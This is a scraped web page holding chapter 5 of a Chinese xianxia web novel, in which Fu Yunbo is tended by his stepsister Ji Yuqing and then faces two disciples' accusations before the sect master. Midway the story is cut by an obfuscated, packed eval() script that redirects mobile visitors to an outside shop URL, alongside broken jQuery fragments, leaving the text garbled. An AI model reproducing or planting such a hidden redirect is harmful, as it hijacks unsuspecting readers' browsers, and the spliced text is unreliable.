文趣网 > 其他小说 > 继兄逼我修炼飞升 > 5. 第 5 章
    殿内的夜明珠如蒙了厚厚一层的灰,变得暗淡无光,一时间殿内漆黑,悄然沉寂。

    付云博醒了。

    他是在母妃哭晕他身上的那刻醒来的。

    那时,季风竹的一门心思都在他母妃身上,没注意他眼皮挣动要醒来的迹象。

    后来他躺在床上默默闭眼,假装还在昏睡。

    他听到季风竹叮嘱季雨晴照看他的话,他也听到季雨晴让季风竹放心,好好照顾他母妃的话。

    他跟季风竹有着同样的疑惑,都觉季雨晴接受他和母妃两人太过容易。

    可惜他一直都躺在床上阖了眼,瞧不到季雨晴理解、体贴季风竹说的那些话时,脸上是什么神情。

    他脑海里浮现见过季雨晴的那几面。

    季雨晴说话总是温温柔柔的,待人都很和善,语气也平和,就同季风竹这个老好人给人的感觉一样。

    但季雨晴没有季风竹身上正人君子的宽厚感。

    或者说季雨晴也正人君子、宽厚,是在该正人君子、宽厚时正人君子、宽厚,不该正人君子、宽厚时……

    付云博看人的直觉很准,季雨晴有很多别的她,是他还没见过的。

    在付云博这样漫无目的地思绪这些时,耳边也留意着殿内动静。

    自从殿门关上后,殿内落针可闻。除了他,这里没有第二人的呼吸声。

    付云博还猜测季雨晴这么快接受他和他母妃,独自一人与他相处时,会暴露她如此的目的。

    但似乎季雨晴并没有像答应季风竹的那样,留下来照看他。

    也可能是顾及男女有别,季雨晴守在殿外候他。

    本来付云博还可以闭目装睡更久些,但这会儿他胸腔作痒,没忍住,偏头掩袖咳嗽两声。

    便也不再装睡了,眯起眼打量漆黑殿内。

    似乎没人。

    他那个……季雨晴口口声声喊他继兄,那他也该喊季雨晴……继妹。

    他那个继妹果然没有留在殿内守着他。

    他半撑起身子,赤脚下床想要摸索杯水喝。他回忆起殿内的陈设,试着往记忆里的桌子走去。

    “吱——”

    脚下没留意,就碰到了桌腿。

    付云博疼的倒抽一口凉气,弯了弯身子,发丝尽数垂到身前,他一手扶在桌子,一手试探摸索。

    指尖触碰白玉杯身的凉意,他端起感觉不对,杯里有水。

    他也懒得继续在桌上摸瞎玉颈壶在哪,索性端起手里的白玉杯凑到唇前润了嗓子。

    一杯没能解渴,这漆黑摸瞎的感觉,他不想再体会。

    将白玉杯搁在桌上前,斟茶的流水声在漆黑寂静的殿内轻响。

    他手指发颤,差点没拿稳白玉杯。

    待水声歇了,他抖着嗓子试探喊:“你……”

    “继兄叫我雨晴好了。”

    殿内的夜明珠随着季雨晴这话,亮了一半。

    光线不是很刺眼,付云博稍缓,眼睛就适应了殿内夜明珠的光。

    付云博动了动唇,他现在还喊不出口。

    季雨晴抿唇浅笑:“继兄,喝茶啊。”

    付云博僵着手,喝了第二杯茶。

    季雨晴:“继兄还喝吗?”

    付云博将手中白玉杯轻轻搁在桌上:“多谢,不了。”

    季雨晴没有拆穿付云博在床上装睡的事情,她假装不知,也轻轻搁下玉颈壶,沉默的没了话。

    两人之间的氛围太过古怪,付云博挪步往床榻走。

    平躺好,盖了被子,他侧头去瞧季雨晴:“我没事了,你不用一直守着我。”

    季雨晴就在桌前的凳子坐下:“我答应我阿爹,要照看好继兄的。”

    付云博没忍住,问:“你为何喊我继兄?”

    季雨晴:“这些时日,宗门内弟子长老们都说,我阿爹以后会娶你母妃为妻。那我们就是一家人了,你便是我继兄,你母妃便是我二娘。”

    付云博微微蹙眉:“你知道我母妃的身份?”

    季雨晴没有隐瞒:“一起跟去凡间捉妖的弟子说,你是凡间的太子,二娘是凡间的贵妃。”

    殿内好一会儿安静,付云博不说话,季雨晴也就不说话。

    付云博盯了会床帐:“你不用一直在这守着我,我没那么……容易死。”

    季雨晴附和:“继兄不会这么容易死的,继兄以后可以修行,能再活很多年。”

    付云博眼神晦涩:“活不了多久的,季掌门都束手无策……”

    季雨晴:“我有法子。”

    没听到付云博回话,季雨晴又说一遍:“我有法子。只要继兄以后刻苦修炼,以后会有很多的长命百岁。”

    “是这样说的吧?”季雨晴不确定地喃喃。

    不知付云博听了季雨晴大言不惭的话,在想什么,追问道:“什么?”

    季雨晴:“你们凡人长命百岁,就是活的很长寿吗?”

    付云博:“嗯。”

    得到回答,季雨晴第三次说:“继兄以后定能活长久。”

    这次,付云博沉默的没回话。

    季雨晴起身:“继兄,你再等等我,我会尽快回来。”

    付云博偏头,视线锁住季雨晴的身子,脱口问:“你要去哪?”

    季雨晴安抚道:“藏书阁。”

    ……

    “哈,哈哈……呼……”

    付云博再一次从梦里惊醒,他浑身汗湿,张口喘着气,胸膛在漆黑寂静的殿内沉沉起伏许久。

    他蜷缩在被褥里,冷的浑身发着抖。

    什么答应季掌门的,会在这守着他……付云博咬牙骂了句:“……骗子。”

    *

    翌日,季风竹安顿好殷倾绝,忙了手头的事情,特意来一趟付云博的寝殿。

    再次经过亭子里的三人——

    打坐修炼一整夜的陈新和吴承二人睁眼在旁边空地上练剑,楚寻真又险险才将闲书收进腰间储物囊里,挺直腰背朝季风竹行礼。

    “掌门。”陈新和吴承二人收了剑,也行礼喊道。

    季风竹当作没看到楚寻真在看闲书。

    他知道楚寻真在这亭子里坐着,是等他闺女。

    他视线转至陈新和吴承二人:“你们为何在这练剑?”

    陈新和吴承再一行礼。

    没能开口,就被楚寻真截住话头说了:“昨日付云博昏倒前,和师兄二人发生争执,师兄二人咬定是付云博污蔑掌门,先动的手。”

    季风竹下意识道:“胡说。”

    楚寻真聪明地没再继续说。

    季风竹随后为自己找补:“我了解付云博这孩子的为人,他不会随便污蔑人。”

    尽管这个人……是掌门你。

    楚寻真已经在心里搭好戏台子,正准备看接下来这场戏是何走向。

    陈新和吴承二人见掌门似乎打定主意护付云博,那不是付云博污蔑他人,就是陈新和吴承二人污蔑他人。

    最近宗门内各类传言疯起,有不少歪曲失真的谣言,陈新和吴承二人不敢一概抗下所有罪名。

    正遇季风竹前不久还交代底下长老们遏制那些不实的传言,宗门内弟子皆要静下心,踏实修炼。

    他们两人要是被按上弄虚作假,污蔑掌门的罪名。

    绝对就成了宗门内杀鸡儆猴的,那两只倒霉鸡。

    他们二人“扑通”一声,结结实实地跪下:“掌门,我们绝没有说谎,掌门若是不信,可以用真言石测验我们。”

    季风竹呼哧喘着气。

    他既不想承担真言石测验的风险,也不想真的治了付云博的罪。

    毕竟付云博是殷倾绝的孩子,本来情急之下将七尾狐妖封印在付云博体内,已经是亏待了这孩子。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723838|208778||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    这孩子活不长久,他不想这孩子仅剩还活着的时候,再起什么事端,让殷倾绝痛心。

    殷倾绝悲伤过度,身子虚弱的紧。

    不能这孩子走了,殷倾绝也跟着走了。

    季风竹不准。

    “这孩子能污蔑我什么,不过是痛失至亲,只能与母为伴的苦命人。”季风竹一甩衣袖,要往殿里走。

    这就是要揭过的意思了。

    陈新,吴承见是如此,不敢出言顶撞掌门,都闭口不语。

    楚寻真心有失落,面上没表现出来。

    她并非对付云博有偏见,想看付云博出丑。相反她没见过付云博几面,更没跟付云博说过什么话。

    但付云博和他母妃在宗门内各类传言的形象实在不好,让楚寻真对他们有了好奇。

    当事人陈新和吴承两人都噤了声,楚寻真才不会傻到出这个头。

    她只当作什么都没听到,低眉顺眼降低自己的存在感。

    “……云博?”季风竹慌了半分。

    殿门轻轻开了条窄缝,付云博就虚弱地扶靠在殿门,视线一一审视他们,似听到了他们刚刚说的话。

    付云博阖动着唇:“我没有污蔑季掌门。”

    季风竹欲要再揭过这事:“我当然信你,云博。”

    付云博勉强扯唇,朝季风竹凄凉地笑,如风雨里的纤细根茎,轻易折了去。

    “我一人做事一人当,没做过的事,就是没做过。请季掌门给我作证,若是他们二人污蔑的我,该让他们二人跟我道歉。”

    陈新:“巧舌如簧,黑的你也硬要说成白的……”

    吴承性子怯弱些,他看的更通透。

    季掌门不想管这事,这事闹大,就算真相大白,对他们也没有半分好处。

    真要治了付云博的罪,掌门也该不喜了。

    他暗暗扯住陈新的胳膊,不让陈新再说。

    付云博眼底透着股倔强:“你们二人不是说我污蔑季掌门吗?你们敢在季掌门面前立誓,若真是我污蔑了季掌门,我自当也给你们赔礼道歉……”

    “云博!”季风竹这一声喊的急了些。

    迎上付云博的眸子,他艰难说:“我相信你,你身子不好,这事我……”

    付云博:“多谢季掌门的好意,季掌门带我和母妃来青冥宗,我和母妃感激不尽,实在不敢坏了季掌门的名声。”

    说到这,付云博的嗓音拖的缓慢:“毕竟……人言可畏。”

    陈新也被付云博颠倒黑白的手段激怒了:“我陈新今日就在掌门面前立誓,若我陈新污蔑付云博,就……”

    “就该向我道歉。”付云博打断陈新的话,这样道。

    陈新重新立誓:“我陈新今日就在掌门面前立誓,若我陈新污蔑付云博,就向付云博道歉。”

    吴承看阻止不能,心慌地低头不语。

    季风竹又再次被架在风口浪尖上,只能任由风浪推着他所为。

    就算是老好人的季风竹,此时脸色也难以说的上好看。

    楚寻真自以为,她已经将自己埋在地里,绝不会有人注意到她,她还狠狠地吃了瓜。

    待她要抬眼细细瞧过戏台子上的这些人神情时,她后腰被拍了下。

    她的友人,不知从哪冒出来,堂而皇之地踏上戏台子:“阿爹。”

    季风竹看过去,“嗯”一声。

    堂堂掌门吝啬自己的话语,正要以他闺女为借口,离开这是非之地……

    他闺女季雨晴,转头又朝付云博喊:“继兄。”

    付云博眼里透着些许凉薄,没回话。

    季雨晴摸出储物囊里的芥子船,抓住付云博的手,将人带了上去。

    芥子船稳稳地载着两人,拖曳着长长的尾光,如箭被射到天上。

    只留给众人飘忽不清的话语:“阿爹,我要借走继兄一用。”